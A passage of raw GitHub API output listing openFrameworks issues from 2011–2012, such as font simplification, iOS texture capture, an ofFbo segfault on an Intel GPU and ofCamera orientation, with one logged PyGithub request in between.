issue","labels":[],"closed_at":null,"created_at":"2011-12-02T16:28:49Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2429871,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-29T17:54:48Z","body":"Loading Futura at font size 10 and simplify=0 yields oversimplified chars in a pdf render. I'm not sure if there's a way to fix this if the fonts are small.\r\n\r\nA workaround is to load the font at a larger size, say 40, then scale down by 0.25 when drawing. \r\n\r\nThe font below is a zoom of the pdf export using font size 10. The font above is Futura at font size 144 by comparison.\r\n\r\n![oversimplified fonts](http://farm8.staticflickr.com/7161/6423768819_9129b6d608_o.jpg)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825","comments":2,"milestone":null,"number":825,"html_url":"https://github.com/openframeworks/openFrameworks/issues/825","assignee":null,"title":"small font sizes yield oversimplified glyph shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-29T08:26:16Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2380571,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-19T07:01:47Z","body":"If I use loadScreenData with anti-Aliasing turned on in the program's startup like this:\r\n\r\nofAppiPhoneWindow * iOSWindow = new ofAppiPhoneWindow();\r\niOSWindow->enableAntiAliasing(4);\r\n\r\nthen the texture will load in nothing but solid black. If I bypass this anti-aliasing, it works fine. I also cannot properly populate a texture using loadScreenData in a landscape orientation. Changing to Portrait orientation in the update loop, and then back to landscape after the grab fixes it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822","comments":5,"milestone":null,"number":822,"html_url":"https://github.com/openframeworks/openFrameworks/issues/822","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iOS - ofTexture.loadScreenData issue when antiAliasing is on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-28T06:48:27Z","state":"open","user":{"url":"https://api.github.com/users/momo-the-monster","gravatar_id":"31f8a3ef87e828b70d2a441c8dae97d8","login":"momo-the-monster","avatar_url":"https://secure.gravatar.com/avatar/31f8a3ef87e828b70d2a441c8dae97d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":737888},"id":2364541,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-28T18:48:58Z","body":"It'd be nice if ofRectangle used a ofVec2f or ofVec3f internally so you could do the something like:\r\n\r\n
\r\nofRectangle myRect;\r\nofVec2f vel(-1, 2);\r\nmyRect.pos += vel;\r\n
\r\n\r\nNow I'm not saying drop the x and y member vars, but link them to the ofVec internals thorugh either a union or reference. A reference would be easy through the constructor:\r\n\r\n
\r\nclass ofRectangle {\r\n\r\n   public:\r\n\r\n     float &x, &y;\r\n     ofVec2f pos;\r\n     ....\r\n\r\n\r\nofRectangle::ofRectangle() : x(pos.x), y(pos.y) {\r\n\r\n...\r\n
\r\n\r\nThis way we get the best of both worlds without broken code ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/821","comments":3,"milestone":null,"number":821,"html_url":"https://github.com/openframeworks/openFrameworks/issues/821","assignee":null,"title":"suggest: ofRectangle internal ofVec","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-26T20:19:31Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2356801,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-01T18:13:35Z","body":"i'm experiencing troubles in windows when i use a system file-opening dialog from openframeworks. after using it Data root path seems to get pointing to a wrong location, causing troubles e.g. true type fonts not loading.\r\nif I use the open-file dialog once again to open a file in root folder of the application, then the data path is reset correctly.\r\nusing ofSetDataPathRoot() doens't seem to fix the issue, or maybe I'm not using it correctly.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819","comments":2,"milestone":null,"number":819,"html_url":"https://github.com/openframeworks/openFrameworks/issues/819","assignee":null,"title":"datapath messed in windows after using file open dialog","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-11-22T10:50:13Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2316595,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-02T15:19:58Z","body":"Had a talk with Theo about this. I think that it would be really nice if it were possible to #define/ pre-process macro if you want to exclude modules like ofVideoPlayer/ofSoundplayer in your app. \r\n\r\nThis would be super helpful for a couple of reasons.\r\n\r\nplugins that are not able to use the modules can exclude them without hacking the core.\r\nif you want to reduce the final size of you app and its not using something like ofVideoPlayer you dont need to add it.\r\n\r\nwhat do you think...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818","comments":1,"milestone":null,"number":818,"html_url":"https://github.com/openframeworks/openFrameworks/issues/818","assignee":null,"title":"#defines for modules ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-21T16:45:51Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":2306518,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-17T15:17:10Z","body":"Hello, \r\nRunning on MacOS 10.7 with XCode 4.1 I could not compile any of the examples in devApps, except for _DeployExamples. \r\nThe first error always encountered is: \r\n\r\n../../../libs/openFrameworks/utils/ofConstants.h:101:22: error: GL/glew.h: No such file or directory\r\n\r\nI tried both changing the paths of the include part in the code and dragging the GL folder that contains glew.h separately in the project, but neither worked. \r\n\r\nHelp please... \r\n\r\nThanks, \r\n\r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815","comments":3,"milestone":null,"number":815,"html_url":"https://github.com/openframeworks/openFrameworks/issues/815","assignee":null,"title":"Examples in devApps folder do not compile. Missing glew.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-17T13:45:47Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2268829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:30:18Z","body":"Hello, \r\nIt took me more than 4 hours to get openFrameworks to compile deployExamples on MacOS X 10.7.2 with XCode 4.1, because of having to figure out two things; \r\n\r\n1. Need to change SDK for the deployExamples project definitions to 10.6\r\n2. Need to choose deployExamples in the build menu on the toolbar of the project window. \r\n\r\nPerhaps this info should be added to the readme.txt file of the present master branch in order to spare other people the hassle? \r\n\r\nI suggest the following addition: \r\n=====\r\nTo deploy openFrameworks examples from the files cloned via the present github repository, you should build and run the project: \r\napps/devApps/_DeployExamples/deployExamples.xcodeproj\r\n\r\nTo successfully compile in Lion (MacOS X 10.7) in XCode you should select in the project file list of XCode both the target deployExamples from the top level of the file hierarchy and the project openFrameworksLib.xcodeproj from inside the openFrameworks folder, then find the project definition, and change the SDK to MacOS X 10.6. You should do the same for the targets of those two items. \r\n\r\nImportant: Before clicking the Build and Go, or the Run button, make sure that you choose the deployExamples project in the menu on the toolbar of the project window. (Otherwise if you leave openFrameworks as selected project and push Run or Build and Run, no application will be created or run). \r\n\r\n\r\n=====\r\nHopefully this helps. \r\nCheers, \r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814","comments":2,"milestone":null,"number":814,"html_url":"https://github.com/openframeworks/openFrameworks/issues/814","assignee":null,"title":"Suggest adding some info about Lion to readme.txt","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-17T11:48:32Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2267854,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-16T04:46:48Z","body":"I'm trying this simple ofFbo example on OF 007, the system is Ubuntu Lucid, with an Intel 945 GPU.\r\n\r\n]//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n fbo.allocate(500, 500, GL_RGBA);\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n fbo.begin();\r\n ofClear(255, 255, 255, 255);\r\n ofSetColor(255, 0, 0);\r\n ofCircle(mouseX, mouseY, 100);\r\n fbo.end();\r\n\r\n ofSetColor(255);\r\n fbo.draw(0, 0);\r\n}\r\n\r\nI got a segfault in i915 dri, and any test using ofFbo leads to same results.\r\n\r\n\r\n#0 0x1bd3c36 _mesa_FramebufferRenderbufferEXT() (/usr/lib/dri/i915_dri.so:??)\r\n#1 0x80cc56a ofFbo::createAndAttachRenderbuffer(this=0x85b28e8, internalFormat=34041, attachmentPoint=33306) (../../../openFrameworks/gl/ofFbo.cpp:489)\r\n#2 0x80cc352 ofFbo::allocate(this=0x85b28e8, _settings=...) (../../../openFrameworks/gl/ofFbo.cpp:388)\r\n#3 0x80cc269 ofFbo::allocate(this=0x85b28e8, width=500, height=500, internalformat=6408, numSamples=0) (../../../openFrameworks/gl/ofFbo.cpp:363)\r\n#4 0x80562ec testApp::setup(this=0x85b28d8) (src/testApp.cpp:5)\r\n#5 0x8059ca6 ofNotifySetup() (../../../openFrameworks/events/ofEvents.cpp:73)\r\n#6 0x8056a23 ofAppGlutWindow::runAppViaInfiniteLoop(this=0xbffff2f8, appPtr=0x85b28d8) (../../../openFrameworks/app/ofAppGlutWindow.cpp:317)\r\n#7 0x80584cc ofRunApp(OFSA=0x85b28d8) (../../../openFrameworks/app/ofAppRunner.cpp:82)\r\n#8 0x8055bfc main() (src/main.cpp:14)\r\n\r\nany idea about what I should try or where the problem could be? has anyone experienced similar problems?\r\n\r\nthanks in advance to all","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811","comments":1,"milestone":null,"number":811,"html_url":"https://github.com/openframeworks/openFrameworks/issues/811","assignee":null,"title":"ofFBO causes segfault on Linux Ubuntu Lucid with i945 GPU","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-13T20:49:26Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2223158,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T18:51:38Z","body":"Julapy and I were discussing how to do this on the forum http://forum.openframeworks.cc/index.php?topic=7852 and I think adding a flag to allocate for mipmaps to ofTexture and ofFbo would come in handy for some people.\r\n\r\n```c\r\nvoid ofTexture::allocate(int w, int h, int internalGlDataType, bool bUseARBExtention, bool generateMipmaps = false) \r\n{\r\n if( generateMipmaps )\r\n {\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST );\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n glTexParameterf( texData.textureTarget, GL_GENERATE_MIPMAP, GL_TRUE );\r\n }\r\n```\r\n\r\nand in ofFbo\r\n\r\n```c\r\nstruct Settings {\r\n bool generateMipMaps; // or int\r\n}\r\n```\r\n\r\nI'd be happy to do this & submit a pull request too.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810","comments":2,"milestone":null,"number":810,"html_url":"https://github.com/openframeworks/openFrameworks/issues/810","assignee":null,"title":"Add flag for mipmapping in ofTexture/ofFbo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-11T07:34:53Z","state":"open","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"id":2206980,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=7 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4937'), ('content-length', '49276'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"362300e7c4c0fc8f170b2c345084dfad"'), ('date', 'Tue, 29 May 2012 19:27:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T23:58:48Z","body":"right now it's inside ofMath.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800","comments":3,"milestone":null,"number":800,"html_url":"https://github.com/openframeworks/openFrameworks/issues/800","assignee":null,"title":"ofInsidePoly should be a static method of ofPolyline","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-30T04:16:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2089523,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:31:07Z","body":"ofRect very commonly has a little chunk missing from one corner.\r\n\r\nthere is also a discrepancy between the filled and outline rectangles. it's not clear whether the outline rect should be within the bounds of the filled rect, or enclosing the filled rect, and in practice it can be a little of both.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798","comments":2,"milestone":null,"number":798,"html_url":"https://github.com/openframeworks/openFrameworks/issues/798","assignee":null,"title":"ofRect isn't quite rectangular","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-10-29T06:38:43Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2086039,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-29T02:37:28Z","body":"we're working on some ideas regarding procedural animation and posing:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,7714.new.html#new\r\n\r\nwhich should be more powerful than playing back manual animations.\r\n\r\nintegrating it into the core would be ideal, but we're still trying to understand how it works.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797","comments":0,"milestone":null,"number":797,"html_url":"https://github.com/openframeworks/openFrameworks/issues/797","assignee":null,"title":"procedural posing of bones in ofxAssimpModelLoader","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-29T02:37:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2085543,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"this fails to display any text:\r\n\r\n\tofBackground(0);\r\n\tofSetColor(255, 254);\r\n\tofDrawBitmapString(\"this text is not displayed\", 10, 20);\r\n\r\nthis is because line 448 of ofBitmapFont.h reads:\r\n\r\n\tglAlphaFunc(GL_EQUAL, 1.0f);\r\n\r\nwhich should be changed to:\r\n\r\n\tglAlphaFunc(GL_GREATER, 0);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/795","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":795,"html_url":"https://github.com/openframeworks/openFrameworks/issues/795","assignee":null,"title":"ofDrawBitmapString does not work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-27T09:50:07Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2066090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-25T23:39:09Z","body":"\r\nThis should be user adjustable / on / off. it's sort of a drag to be using easy cam and trigger double clicks are you are interacting with a gui, etc.... \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793","comments":1,"milestone":null,"number":793,"html_url":"https://github.com/openframeworks/openFrameworks/issues/793","assignee":null,"title":"easyCam -- ability to disable doubleClick reset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-25T23:36:40Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":2051692,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:53:12Z","body":"when drawing certain shapes i get crashes, debugger claims a tessellator issue pointing to \r\n\"if (!tessTesselate(cacheTess, polyWindingMode, TESS_POLYGONS, 3, 3, 0)){\" in \"performTessellation\" function in file ofTessellator.cpp ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/789","comments":1,"milestone":null,"number":789,"html_url":"https://github.com/openframeworks/openFrameworks/issues/789","assignee":null,"title":"crashes with tessellator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-21T14:49:12Z","state":"open","user":{"url":"https://api.github.com/users/ruim","gravatar_id":"18875575931764c674b5fc64ae8b7274","login":"ruim","avatar_url":"https://secure.gravatar.com/avatar/18875575931764c674b5fc64ae8b7274?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480525},"id":2016194,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-19T22:39:37Z","body":"would be useful as well. Perhaps an ofxMeshUtils would be in order for upcoming versions...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787","comments":0,"milestone":null,"number":787,"html_url":"https://github.com/openframeworks/openFrameworks/issues/787","assignee":null,"title":"half edge mesh structure extension of ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:39:37Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999520,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-04T21:59:22Z","body":"would be quite useful","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786","comments":1,"milestone":null,"number":786,"html_url":"https://github.com/openframeworks/openFrameworks/issues/786","assignee":null,"title":"axis aligned bounding box tree for ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:38:35Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999513,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-27T17:58:58Z","body":"I am loading in boujou camera data (translation and euler rotation), and I get really fine results when I do: \r\n\r\nglTranslatef(tx,ty,tz);\r\nglRotatef(rx, 1,0,0);\r\nglRotatef(ry, 0,1,0);\r\nglRotatef(rz, 0,0,1);\r\n\r\nbut when I create an ofCamera, and do: \r\n\r\nsetPosition(ofPoint(tx, ty, tz));\r\nsetOrientation(ofPoint(rx, ry, rz));\r\n\r\nI get strange results. I am wondering about ofNodes \"setOrientation\" and if it's really right in that the order is switched:\r\n\r\nsetOrientation(ofQuaternion(eulerAngles.y, ofVec3f(0, 1, 0), eulerAngles.x, ofVec3f(1, 0, 0), eulerAngles.z, ofVec3f(0, 0, 1)));\r\n\r\nalso, maybe I am mis interpreting what \"set orientation\" does. But I can't seem to get similar results with ofCam, even if I do, for example, \r\n\r\ncam.setPosition( tx,ty,tz);\r\ncam.rotate( rx, 1,0,0);\r\ncam.rotate( ry, 0,1,0);\r\ncam.rotate( rz, 0,0,1);\r\n\r\nI still don't get the same results as when I do it via opengl. This seems like a bug maybe with how ofNode handles rotation?\r\n\r\n(note , I am calling resetTranform() on the camera, so it's not an accumulation of rotations.... it's just that I can't seem to find a way to get ofCam to rotate in the same way as opengl commands). \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785","comments":2,"milestone":null,"number":785,"html_url":"https://github.com/openframeworks/openFrameworks/issues/785","assignee":null,"title":"ofCamera setOrientation gives odd results","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-19T11:16:42Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1992818,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T11:46:35Z","body":"It seems to be happening pretty far in, if you put debug statements in touchesMoved in EAGL view, you will see that y is set to the x value of the touch.\r\n\r\nThis does not occur in debug mode, or in the simulator, and it has to be done with xcode4. I am running the newest ios5 beta as well.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/778","comments":2,"milestone":null,"number":778,"html_url":"https://github.com/openframeworks/openFrameworks/issues/778","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"running an iphone retina app in release mode causes touch.x == 